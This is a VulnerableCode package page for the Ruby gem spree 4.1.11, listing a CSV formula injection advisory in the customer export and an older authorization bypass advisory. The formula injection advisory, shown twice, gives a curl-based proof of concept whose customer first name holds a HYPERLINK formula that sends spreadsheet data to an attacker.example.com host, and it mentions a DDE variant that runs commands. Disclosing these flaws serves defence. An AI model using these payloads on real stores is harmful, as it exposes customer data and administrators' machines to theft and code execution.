VulnerableCode Package Details - pkg:gem/spree@4.1.11

Vulnerabilities affecting this package (2)

Vulnerability	Summary	Fixed by
VCID-153y-kwk2-xyfd Aliases: GHSA-xf4v-w5x5-pv79	Spree: CSV Formula Injection in Customer Export ### Summary CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange). --- ### Details #### Affected presenters and fields \| Presenter \| Path \| User-controlled fields \| \|---\|---\|---\| \| `CustomerPresenter` \| `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` \| `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` \| #### Vulnerable code — `customer_presenter.rb` (representative example) ```ruby # spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53 def call csv = [ customer.first_name, # ← written verbatim; may contain =HYPERLINK(...) customer.last_name, # ← user-controlled customer.email, customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no), customer.address&.company, # ← user-controlled customer.address&.address1, # ← user-controlled customer.address&.address2, # ← user-controlled customer.address&.city, # ← user-controlled customer.address&.state_text, customer.address&.state_abbr, customer.address&.country&.name, customer.address&.country&.iso, customer.address&.zipcode, customer.phone, # ← user-controlled customer.amount_spent_in(Spree::Store.current.default_currency), customer.completed_orders.count, ] csv += metafields_for_csv(customer) csv end ``` --- ### PoC Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker. #### Step 1 — Register as a customer with an injected first name ```bash curl -X POST https://store.example.com/api/v3/store/customers \ -H "Content-Type: application/json" \ -H "X-Spree-Api-Key: pk_<publishable_api_key>" \ -d '{ "email": "attacker@evil.com", "password": "password123", "password_confirmation": "password123", "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")", "last_name": "Smith" }' ``` #### Step 2 — Admin triggers a customer export ```bash curl -X POST https://store.example.com/api/v3/admin/exports \ -H "Authorization: Bearer <admin_jwt>" \ -H "Content-Type: application/json" \ -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}' ``` #### Step 3 — Admin polls until ready, then downloads ```bash # Poll for completion curl https://store.example.com/api/v3/admin/exports/<export_id> \ -H "Authorization: Bearer <admin_jwt>" # Download curl https://store.example.com/api/v3/admin/exports/<export_id>/download \ -H "Authorization: Bearer <admin_jwt>" \ -o customers.csv ``` #### Step 4 — Verify injection in the raw CSV (without opening in Excel) Open `customers.csv` in a text editor. The first data row will contain: ``` "=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",... ``` #### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows) - Excel warns about external data connections; if the administrator clicks Enable, the `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=<B1_value>`. - Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers. - With the DDE variant (`=CMD\|...`) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine. --- ### Impact Vulnerability class: CSV / Formula Injection (CWE-1236) #### Who is impacted - Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history. #### Realistic attack chain \| Step \| Actor \| Action \| Privilege required \| \|---\|---\|---\|---\| \| 1 \| Attacker \| Registers as customer \| Public registration \| \| 2 \| Attacker \| Sets `first_name` to formula payload \| None beyond registration \| \| 3 \| Admin \| Runs a routine weekly/monthly export \| Normal operational task \| \| 4 \| Admin \| Opens CSV in Excel \| None \| \| 5 \| Attacker \| Receives exfiltrated spreadsheet data \| Passive \| #### Data at risk All data visible to the administrator in the spreadsheet at the time of opening, including: - All exported customer emails, names, addresses, phone numbers - Order totals and purchase history - Any other columns in the same export file	5.2.8 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} 5.3.6 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} 5.4.3 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }}
VCID-yqz2-9hru-wkcs Aliases: CVE-2020-26223 GHSA-m2jr-hmc3-qmpr	Authorization bypass in Spree ### Impact The perpetrator could query the [API v2 Order Status] (https://guides.spreecommerce.org/api/v2/storefront#tag/Order-Status) endpoint with an empty string passed as an Order token ### Patches Please upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version. Users of Spree < 3.7 are not affected.	4.1.12 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }}

Vulnerability

Summary

Fixed by

VCID-153y-kwk2-xyfd
Aliases:
GHSA-xf4v-w5x5-pv79

Spree: CSV Formula Injection in Customer Export ### Summary CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange). --- ### Details #### Affected presenters and fields | Presenter | Path | User-controlled fields | |---|---|---| | `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` | #### Vulnerable code — `customer_presenter.rb` (representative example) ```ruby # spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53 def call csv = [ customer.first_name, # ← written verbatim; may contain =HYPERLINK(...) customer.last_name, # ← user-controlled customer.email, customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no), customer.address&.company, # ← user-controlled customer.address&.address1, # ← user-controlled customer.address&.address2, # ← user-controlled customer.address&.city, # ← user-controlled customer.address&.state_text, customer.address&.state_abbr, customer.address&.country&.name, customer.address&.country&.iso, customer.address&.zipcode, customer.phone, # ← user-controlled customer.amount_spent_in(Spree::Store.current.default_currency), customer.completed_orders.count, ] csv += metafields_for_csv(customer) csv end ``` --- ### PoC **Precondition**: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker. #### Step 1 — Register as a customer with an injected first name ```bash curl -X POST https://store.example.com/api/v3/store/customers \ -H "Content-Type: application/json" \ -H "X-Spree-Api-Key: pk_<publishable_api_key>" \ -d '{ "email": "attacker@evil.com", "password": "password123", "password_confirmation": "password123", "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")", "last_name": "Smith" }' ``` #### Step 2 — Admin triggers a customer export ```bash curl -X POST https://store.example.com/api/v3/admin/exports \ -H "Authorization: Bearer <admin_jwt>" \ -H "Content-Type: application/json" \ -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}' ``` #### Step 3 — Admin polls until ready, then downloads ```bash # Poll for completion curl https://store.example.com/api/v3/admin/exports/<export_id> \ -H "Authorization: Bearer <admin_jwt>" # Download curl https://store.example.com/api/v3/admin/exports/<export_id>/download \ -H "Authorization: Bearer <admin_jwt>" \ -o customers.csv ``` #### Step 4 — Verify injection in the raw CSV (without opening in Excel) Open `customers.csv` in a text editor. The first data row will contain: ``` "=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",... ``` #### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows) - Excel warns about external data connections; if the administrator clicks **Enable**, the `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=<B1_value>`. - Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain email, address, and order total data for all exported customers. - With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine. --- ### Impact **Vulnerability class**: CSV / Formula Injection (CWE-1236) #### Who is impacted - **Administrators** who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history. #### Realistic attack chain | Step | Actor | Action | Privilege required | |---|---|---|---| | 1 | Attacker | Registers as customer | Public registration | | 2 | Attacker | Sets `first_name` to formula payload | None beyond registration | | 3 | Admin | Runs a routine weekly/monthly export | Normal operational task | | 4 | Admin | Opens CSV in Excel | None | | 5 | Attacker | Receives exfiltrated spreadsheet data | Passive | #### Data at risk All data visible to the administrator in the spreadsheet at the time of opening, including: - All exported customer emails, names, addresses, phone numbers - Order totals and purchase history - Any other columns in the same export file

5.2.8
Affected by 1 other vulnerability.

5.3.6
Affected by 1 other vulnerability.

5.4.3
Affected by 1 other vulnerability.

VCID-yqz2-9hru-wkcs
Aliases:
CVE-2020-26223
GHSA-m2jr-hmc3-qmpr

Authorization bypass in Spree ### Impact The perpetrator could query the [API v2 Order Status] (https://guides.spreecommerce.org/api/v2/storefront#tag/Order-Status) endpoint with an empty string passed as an Order token ### Patches Please upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version. Users of Spree < 3.7 are not affected.

4.1.12
Affected by 1 other vulnerability.

Next non-vulnerable version	None.
Latest non-vulnerable version	None.
Risk	4.0

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-06-07T16:21:27.255789+00:00	Ruby Importer	Affected by	VCID-153y-kwk2-xyfd	https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/GHSA-xf4v-w5x5-pv79.yml	38.6.0
2026-06-05T21:15:23.822506+00:00	GHSA Importer	Fixing	VCID-cwh1-mmky-ukcx	https://github.com/advisories/GHSA-f8cm-364f-q9qh	38.6.0
2026-06-04T20:41:04.213934+00:00	GitLab Importer	Affected by	VCID-yqz2-9hru-wkcs	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/gem/spree/CVE-2020-26223.yml	38.6.0
2026-06-04T17:21:20.827225+00:00	GithubOSV Importer	Fixing	VCID-cwh1-mmky-ukcx	https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/10/GHSA-f8cm-364f-q9qh/GHSA-f8cm-364f-q9qh.json	38.6.0
2026-06-04T16:20:33.376619+00:00	GitLab Importer	Fixing	VCID-cwh1-mmky-ukcx	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/gem/spree/CVE-2020-15269.yml	38.6.0